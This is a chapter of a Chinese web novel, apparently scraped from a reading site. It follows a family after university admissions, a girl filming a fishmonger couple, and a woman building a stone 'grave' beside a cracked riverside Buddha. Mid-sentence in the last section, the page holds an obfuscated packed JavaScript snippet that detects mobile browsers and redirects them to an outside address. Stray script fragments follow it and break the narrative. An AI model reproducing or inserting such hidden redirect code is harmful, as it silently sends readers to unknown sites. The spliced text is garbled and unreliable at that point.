默认冷灰
24号文字
方正启体

41.第 41 章

作者:是怀本书字数:K更新时间:
    录取比预想中的波折小太多了。


    一家人紧张了一整天,睡觉前还在刷呢,夜游蝉市回来倒头就睡,第二天到中午,拟录取的结果出来了。


    不是一志愿,顺着滑到第四个,专业就是人工智能。学校在北方,齐美裳的重点是就在距离齐美棠不过百里的城市,好像这能让她安心许多。祁孝逑又把专业跑出来查了一遍,对于他的账号,更多的推送是无人驾驶汽车的可行性。他说:“我会不会退休前下岗?”


    当时还是拟录取,昭岁心慌,怕退档。她甚至没心情去关心二人是假装开朗还是真心祝福。心慌刷群,都说拟录取基本没跑了,都在局中,听着总觉得是安慰自己的。


    姐妹群在说新下单了那款早就看好的包,家长奖励给她。黄柠檬晒了录取,有人问她怎么去那,除了大学好,别的没啥好。黄柠檬发语音说:“所以才有建设空间。”


    聊着聊着,聊起昭岁当兵的事情,有人问她:“真考虑好了吗?”


    “当然。”昭岁回。她不觉得,这是一个需要很大思量的决定。


    黄柠檬说:“那你以后就是学妹了哈。”


    昭岁说:“……你成年了吗你,给我当姐。”


    黄柠檬说:“别提,开学天,我生日。”


    昭岁问:“这么快就知道?”


    黄柠檬说:“看学校校历啊。”


    昭岁想着,也打开录取院校的校历,居然在八月底。这怎么比高中还早。


    黄柠檬说:“鹊市开学普遍晚点,鹊大更晚。”


    昭岁看着鹊大二字,还是切出来,在联系人找到了大霜的名字,点开消息,进朋友圈。这人还是没晒拟录取截图。


    鹊大的网球很好,大霜真要考来鹊市,应该就是去鹊大。映年也是鹊大毕业的,她俩都比自己优秀。


    计划里是从蝉市往螺市走,去骡县祭奠刘海洋,既然去了,不可能不去找大霜的。


    就是要想好怎么开口。


    说起来,上次映年推送给她加了以歌,两人的对话如下。


    以歌:早上好。


    昭岁:早上好。


    结束了。


    齐美裳可能错判了昭岁的紧张,找到昭岁谈,特意让别人给了母女俩独处的空间。


    晚间没什么风,阳台暴晒了一下午,尚有余温,闷得慌。


    蚊虫嘤咛飞舞在房顶的白灯上。


    母女二人站在其下。


    昭岁以为齐美裳是想劝“别当兵”,她几乎先发制人地说:“我已经说过了,我要去。”


    昭岁不看齐美裳的眼睛,不是害怕齐美裳的压力,而是担心在这双眼睛中,读出和李立沐、大姥姥若出一辙的溃败。她可以妥协,但不能溃败。


    没想到齐美裳说的是:“我看过了,你的分差军校线不多。”


    “什么意思?”


    “去年你爸生病,我状态不好,也影响了你学习。”齐美裳检讨起来自己,“如果没那情况,你可能够的。”


    昭岁有点招架不住:“我就这水平,虽然不高,但也没多低的。”


    齐美裳说:“我和你爸商量过了,如果你真想走这条路,读军校更好。如果你愿意,其实可以再复读一年。”


    昭岁沉默了会儿,警惕这份感动,她硬邦邦地说:“你还是不满我去北方。”


    齐美裳沉默,昭岁已然读出答案。


    有苍蝇混在蚊虫中,对着灯罩横冲直撞,有“砰砰”响声。


    “我不觉得想让孩子在身边是什么错。”齐美裳很坦诚,转口也说明,“但你要去北方,我也不拦你了。”


    “你没办法吧。”


    齐美裳觉得有意思,这场谈判似乎跨越了三十年,从前也在母女之间上演,那会儿她比昭岁还要倔强。


    她不希望昭岁这样,表情温柔:“不止结婚,很多事情,你都可以自己决定的,也不用通知我们了。”


    _


    三姥姥上山送完东西,联络咚咚,才发现她整个人都在发烧。


    下山的缆车上,三姥姥电话拨过去,没接,又连续拨了几个,齐美玉终于接通了。她劈头盖脸一顿骂,缓口气时,那头才有义工的声音:“机主没在。”她看着电话界面,还是那个靓号。


    咚咚输液两天,终于缓过来了。


    咚咚没加入齐家的旅游队伍,拨通了王家鱼贩的电话。那头很惊喜,问她什么时候有空,可以按她的时间来。咚咚想说可以等鱼档口关门后,临到口顿住,转口问:“方便拍一天吗?”


    四点钟开始起网,一波波鱼在池里乱跳,全部装进蓝色的塑料桶里,这桶有货轮的宽,高度到咚咚的胸下,一排排全是。王哥和王姐一人一边,踩着搭在车上的两个木板斜坡往上挑,一步一步很整齐,车厢都在抖动。


    咚咚举着相机在拍,镜头边缘沾了些水,她没管,带到两人弯腰上去,勾腰出来,面上都露出腼腆的笑。


    “这边叉车不好过来,都是人搬的。”王哥说。


    其它车都是装两桶,王家的车只能装一桶。本来后方的座位都卸下来了,这会儿装了一个后座,和那次去咖啡店找仙儿很像,特意装的。


    不仅装了,还打扫了一遍。可这车,再怎么打扫,也掩不住风霜。


    王姐看出来咚咚的过意不去,说:“今天正好要去朋友家吃饭,早点卖完早点结束。”


    事实上,今天是赶集天,这完全不够卖的。


    等到回鱼档口后,王哥呆站了会儿,又把后头的坐垫卸下来,和王姐商量一下,又独自开车往进货的地方出去了。


    果然,咚咚还是太天真了。起止两桶,别家店都是四六桶的。


    卖鱼也不是一件轻松的活。


    天亮了陆续有人来,王姐一人顾摊,捞鱼、杀鱼、算账都得她来,手不方面找钱,就拿个沥水篮让顾客自己给钱找钱。


    咚咚镜头对着沥水篮:“不怕多拿吗?”


    镜头转向回答的王姐:“多拿也没法呀,就晚上算账的时候骂两句。”


    咚咚笑。她还以为王姐会说“都有难处”呢。


    王姐问:“你留几天?”


    咚咚说:“明天估计就走了。”


    王姐说:“这几天涨水,不然给你钓两条吃,那可鲜。”


    咚咚说:“我吃啥都香,不挑的。”


    “那不一样,真香的。”王姐说,“我家闺女平时都不爱吃鱼的,就好那口。”


    咚咚没说话了。她没有挑食的机会,渐渐觉得吃啥都行的。


    日出起来,就没闲聊的时候了。咚咚举着相机,没就鱼档口拍,想起王姐在车上说要招待的事情,出去菜市场一圈,买了些菜,回到鱼档口时,旁边的理发摊子也支起来了。


    那不该有摊子的,都占道了。


    还是前几天给她剃光头的理发师。招牌上写着的是八元理发,生意不错,排队的人多是老年人。她镜头晃过去,放了下来。


    来理发的人,有凳子坐下,理发师在四周挪动。在她挪动到前面时,咚咚才看见墙边靠着也有一个凳子,上面用汽车安全带一样绳子,捆着一个女孩。


    咚咚明了了理发师说要在好日子拜佛的意图。


    回到鱼档口时,王哥已经回来了,他就在地上支着菜板在杀鱼,笑着招呼说:“买菜干嘛呢。”


    咚咚说:“不是要招待我吗?”


    赶集天,基本忙到下午三点。王哥拿着菜先回家做饭了,王姐留下来收拾档口。有人来收鱼杂,很便宜的价钱卖掉,一块抬到了车上去。


    下车时她松懈着揉了揉腰,问咚咚:“你多大了?”


    “二十。”


    “看着不像。”


    “是看着小还是看着大?”


    “你想看着大还是看着小?”


    咚咚笑了:“大小不重要。”


    “你是放暑假吗?”王姐坐下来,把靴子脱掉,脚上被箍了很深的红印,她从裤兜里掏出袜子来穿上,又去刨放在柜子上的球鞋。


    “不是,我没读书了。”


    “怎么不读了?”


    咚咚凭空生出了委屈的感觉,她靠着相机的取景器,眼镜弹到了,磕了一下鼻梁。她说:“不想读了。”


    齐美玉在江上浮了起来,浪潮托着她不肯下坠。她认定了是命不该绝,至此有了信仰。


    咚咚才是浸没的那个,高中退学了,如果不是三姥姥强硬拉着她再去职校报道,她可能不太想离开安全领域。


    王哥做饭,味道一般。可能是鱼档口带着腥味,延绵到了王家,整个菜吞下去,都带着鱼的气息。咚咚还是不挑,吃得很开心。


    王家条件普通,有个楼梯的两居室,家具陈列普普通通,唯一有意思的是家里摆放着一个废弃冰柜,里面在养鱼,金鱼。


    观赏鱼摆在冰柜里,要凑近了,才能俯视看下去。


    这金鱼养的很大,快赶上档口的草鱼了,可能就着金闪闪的皮肤保住了姓名。


    “小孩养的。”王哥说着,推着冰柜,往前在走,到阳台上去了,“方便推着出来晒太阳。”


    咚咚想起苗光红那废弃的鱼缸,那么大,估计没撤下还是觉得是件力气活吧。


    吃完饭,夫妻俩让咚咚休息了会儿,轮流洗了个澡,换了身衣服。出来时,王哥还有点害羞,捂着脸,王姐自然地牵着他。


    两人穿着是配套的情侣装。王姐的是一身红色旗袍,王哥的是唐装,身上有暗红色走线。


    “你说再约,我就新买了一套衣服。”王姐说。


    拍摄地点也是精心挑选的。


    取景器里,江边落日,灿金的天际边缘带着蓝边,剪影在拥吻。


    晚饭王哥想带着咚咚去拜访朋友,王姐让他先打电话问问,问过之后,那头拒绝了。


    王哥说:“还是去一趟吧。”


    王姐说:“算了。”


    王哥说:“好不容易呢。”


    王姐看向咚咚,又说:“算了。”


    咚咚问:“理发师吗?”


    王哥点头,也没说话,头低着。王姐说:“可能是不好意思。”


    夫妻俩昨晚就说好了这情况的处理,这下没没争执,只是嘘唏两声。晚饭时,还是没去理发师那里。王姐还是联系朋友,备了一条江鱼,端上餐桌专门移到咚咚面前让她试试。


    咚咚夹了一筷子,没吃出好坏,和普通的鱼差不多,不过在王姐询问时,她还是说:“确实好吃点。”


    告别时,王哥想送咚咚回酒店,咚咚拒绝了,就在钻进了餐厅一条街的网吧。


    她重刷了一遍录像,发现有一段多余的。那是中途去洗手间,可能忘记按到了录像按钮,画面对着的是菜。王姐王哥的声音在画外,一声不漏的收录进来了。


    王哥说:“买个帽子吧。”


    王姐说:“帽子带着多热啊。”


    王哥说:“那怎么办?”


    王姐说:“我昨天上山求的,怎样?”


    王哥说:“哪有求小名的。”


    王姐说:“小名怎么了?”


    咚咚去翻满是酸味的背包,在一侧找到了一个香囊,里面是一串刻字的玉石,上头雕刻的是“咚咚”。


    _


    江潮退去,警戒线撤销,河滩再次裸露出来。


    佛身中间开了一条裂缝,吐出来一堆泥沙,里面有虾蟹在外逃。


    工人们搭了索架,开始了新一轮的抢修。


    离开前一天,齐家人坐在江边合影了一张。大姥姥遗憾应该到达当天合影的,齐美裳听着没说话,三姥姥抢答说:“是,以后这样,不然早几天不做,你可能挂了也不一定。”


    一家人沿着江边在散步。表姐家的小孩想去河滩下面捡石头。昭岁不想去的,咚咚想去,她们便一块下去了。


    昭岁故意放慢脚步,咚咚下了个台阶等她,昭岁往下走了两步又停下,咚咚继续走两步,二人就在一两个台阶上停停走走。


    映年已经同齐美裳走到下面去了,转身看着她俩还在玩。


    映年:“干嘛呢,下来呀。”


    咚咚:“你姐叫你下去呢。”


    昭岁:“你先走。”


    咚咚走了两步,停下头,转头果然看着昭岁的手下来,搭在她的头上。


    咚咚比她稍微高点,不是高低位,她就怕咚咚会躲过去。既然被抓住,昭岁也不掩饰了,放在咚咚的头上摸了又摸,刺刺的,磨砂的质感。


    咚咚:“摸够没?”


    昭岁:“没有。”


    昭岁又摸了一把,收回手:“你也当尼姑去了?”


    住院的事情,三姥姥没和齐家人讲。


    咚咚双手合十放在胸前。


    昭岁调侃:“有模有样呢。”


    咚咚抬头说:“我要咒你。”


    昭岁笑:“呀,大师饶命。”


    两人笑起来,往下跑去。


    _


    鹅卵石垒了一个小山包,往上放石子,整个石头山都塌了下来。


    有颗落在光脚上,黄栀子脚一抬,甩着石头,一手握住了鹅卵石。她重新弯下腰,开始垒石头。


    每年夏天这时候,她都要来祭奠一次。


    她脱离人群很久了。船上没余留下来平辈不多,但知道她这每年习惯,都以为是她有什么故友离去。


    这些人哪知她的兴趣。


    不止这些,黄栀子很清楚别人怎么看她的。刚这样生活时,稍稍关系近些的人会说:“在野外住着,总归是不方便的,冷了热了都容易病


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214494|178458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”“孩子扔给黄茉莉算什么事啊,自己的孩子还是要自己养。”远一点的反而是恭维的话:“你这真不错哈,每天都能自在。”


    心头真会觉得“不错”吗?未必。


    她无意去展现旷野生活怎样怎样,当别人问时,说的也是:“很好。”


    从生活质量上来讲,头两年不算好。那会儿她体能很好,半夜睡着,都有点挨不住冻,第二天寻觅食物时,还在考虑营养搭配,实际上压根没啥觅食的技能。


    既然决定这样生活,后头也真自在了。吃昆虫树叶,喝蜂蜜甘泉,睡树顶房梁,都是可以的,就是穿这一块还是得依靠现代纺织技术。


    偶尔山上碰上来玩的旅客,她也不吝资源,招待吃食,至于吃不吃,那是别人的事情了。


    真这样生活了几年,身旁的话又变了,诸如“咱死里逃生,不得好好活?去过什么苦日子啊。”“你疯了吧,房子车子卖了,这么玩。”


    黄栀子不在乎。她没有交流的兴趣,身边的人基本渐渐散了。


    好几次闹过乌龙。黄栀子睡在桥底,有人报警,警方找来问她姓名,在她多次表示精神正常后,对方表情复杂,带着困惑和不解。


    也出过安危的情况。有人祸,有野兽,也有天灾,这次解决温饱轻松很多,黄栀子处理起来得心应手。


    没有想停下来这种生活的时刻。前年母亲病重,主动联系了她,黄栀子以为是要钱,没想到对方要求和她一块生活。黄茉莉极力反对,但拗不住母亲的权威。她们真就在一块风餐露宿,呆了半个夏天,母亲总是很痛,痛的睡不着。


    黄栀子问她时,她笑着说:“我还以为多苦呢。”


    到最后母亲的病控制不住,大口呕血。黄栀子问她要不要回去,母亲摇头:“说了不回去,怎么老瞧不起我。”


    当晚死在了睡袋里,黄栀子几乎第一时间就发现了。她竟然在继续睡饱还是背人下山中做选项,最后还是先下山了。


    黄茉莉带着黄念在山下也守了半个夏天,看着这一刻也明白了,就是预备好的直升机救援没派上用场。黄茉莉的秘书通知丧葬事,很快带走了母亲。


    上车前,黄念问:“不一起吗?”


    自黄栀子选择这样生活后,黄念改口叫了黄茉莉当妈。三人已然习惯了。


    黄栀子:“你知道我的,那都是死了的事,就没必要了。”


    黄茉莉突然笑了:“等我哪天倒闭了也来找你。”


    黄栀子认真说:“那也太为难我了。”


    黄念说:“你死了我也不给你烧纸。”


    黄栀子说:“嗯。”


    过了会儿,黄念又说:“我把你和姓张的埋一块。”


    黄栀子愣住,上了车,陪完整场葬礼。


    她对黄念说:“茉莉对你更好,知道吗?”


    黄念说:“还要你说。”


    黄栀子满意了,看着小姑娘泪飙出来,没去擦,又说:“我才不在乎死了和谁买一块。还有,他肯定死我前头。”


    活动的轨迹,不是一直在山头。


    她路线流动,往前在走,不管东西南北,随性来穿梭。可到六月的时候,总归会来蝉市。


    黄栀子只管活人的事。


    这石头搭碑,可没旁人想的那般哀悼。


    “呀,这颗石头漂亮。”一旁有人捡起来她掉落的石头,两指握着,与她对视,“呀……”


    黄栀子的记忆力很好。


    她们见过。


    “咋了?”咚咚过来,低头看见了黄栀子,“……呀!”


    “见到啥了?”映年也凑过来,“……呀。”


    撞一块了,昭岁不知道怎么开口。


    面对三人的局促,黄栀子无所谓,她先说了:“这石头哪漂亮了?”


    昭岁有石头摊在手心,立起来,从平面上看着:“这就是一个牙齿啊,牙齿上面有个叉子,正在凿牙。”


    黄栀子看着那块石头,不知道昭岁怎么联想出来了的。她又把昭岁手里的石头拿过来,继续垒上去,捡了一块新的石头,问她:“那这个呢?”


    “这是在喝奶茶的树袋熊。”昭岁怕她不信,手指随着石头边缘摸着,“这是脑袋,这是奶茶杯……”


    黄栀子听着,笑起来,再次收下石头,拿了一个新的。


    二人似乎乐此不疲地在做想象游戏。


    咚咚在一旁也笑:“你要是不当什么艺术家,我真觉得埋没你了。”


    “你搭石头房子干什么?”昭岁问黄栀子。


    这次,黄栀子笑得更大声了。


    她说:“这是墓碑。”


    三人:“啊?”


    黄栀子转头指着一旁稳坐如山的大佛:“你看那佛,是不是有个缝?”


    “嗯。”三人点头。


    “我就是从那缝出来的。”黄栀子笑。


    咚咚心道,再怎么的野人,也不至于引经据典搞些这种名堂。名著她可是读过的。


    黄栀子兴致很好,是昭岁的各种石头符号带来的。她不介意分享往事。


    “玩洞穴探险,那会这里的江滩没出来,潮更高,我进了洞出不来,困了快一周吧,救援出来。”黄栀子讲起这件事情的时候,表情轻松,讲起话很诙谐,“在里面我发了好多誓,什么一生荤素搭配啊、一生前任替死啊、一生不要太穷啊……啊,觉得发誓真没意思,死了真不好。”


    “我想说家大业大这么多,荣华富贵我还没享受多久呢,咋就挂了。”


    “真出来之后,我就说,我不上班了。我不要这么活着,感觉早出晚归的,没有价值的。”


    昭岁很受启发,转头问映年:“你是不是发誓了?”


    映年:“……不是。”不要什么公式都往我身上套。


    咚咚不理解,她要有钱,绝对不会过这种日子。又想,黄栀子是真享受过才觉得无所谓,自己是没享受过才贪图。而且,她记得黄栀子还有个女儿。既然有在成长期的女儿,这些年黄栀子怎么过的?不过她没问。


    咚咚说的是:“为什么要贬低一个勤勤恳恳生活的人呢?”


    黄栀子抬头看咚咚,笑了。往常来说,都是旁人来苛责她的生活,当她去评价旁人的生活,收获了这样的质疑。黄栀子说:“我也是勤勤恳恳的,方式更原始而已。”


    故事中,黄栀子隐瞒了最主要的关键。她在意识模糊中,感觉有一条漂流的鱼在引领,她跟着往去,才发现那条鱼早就死了。她饥饿无比,啃完了那只死鱼,又撑了三天。三天中,她感觉自己也是一条裸露的鱼。长出了鳞片,用鳃生存,水面能将她稳稳托住,不管暗流多么汹涌。


    鱼寻到空气,找到缝隙,终于活了下来。


    这石头搭起来,是黄栀子庆祝新生。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)